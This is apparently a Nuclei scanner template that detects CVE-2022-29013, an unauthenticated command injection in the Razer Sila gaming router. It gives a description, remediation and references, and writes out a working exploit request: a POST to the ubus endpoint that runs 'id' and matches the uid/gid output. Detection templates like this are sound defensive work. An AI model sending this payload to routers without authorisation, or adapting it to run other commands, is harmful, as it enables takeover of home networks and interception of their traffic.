Razer Sila Gaming Router - Remote Code Execution

id: CVE-2022-29013

info:
  name: Razer Sila Gaming Router - Remote Code Execution
  author: DhiyaneshDK
  severity: critical
  description: |
    A command injection in the command parameter of Razer Sila Gaming Router v2.0.441_api-2.0.418 allows attackers to execute arbitrary commands via a crafted POST request.
  impact: |
    Unauthenticated attackers can execute arbitrary system commands on the Razer Sila gaming router through command injection in the ubus endpoint, potentially compromising the entire home network and intercepting all network traffic.
  remediation: |
    Upgrade to a patched version of Razer Sila firmware that properly sanitizes command parameters and validates input to the ubus API.
  reference:
    - https://packetstormsecurity.com/files/166684/Razer-Sila-2.0.418-Command-Injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-29013
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-29013
    cwe-id: CWE-78
    epss-score: 0.77136
    epss-percentile: 0.99492
    cpe: cpe:2.3:h:razer:sila:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: razer
    product: sila
  tags: packetstorm,cve,cve2022,razer,sila,router,vkev,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/ubus/"
    headers:
      Origin: "{{RootURL}}"
      Referer: "{{ROotURL}}"
      X-Requested-With: XMLHttpRequest
    body: |
      {"jsonrpc":"2.0","id":3,"method":"call","params":["30ebdc7dd1f519beb4b2175e9dd8463e","file","exec",{"command":"id"}]}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)'

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200
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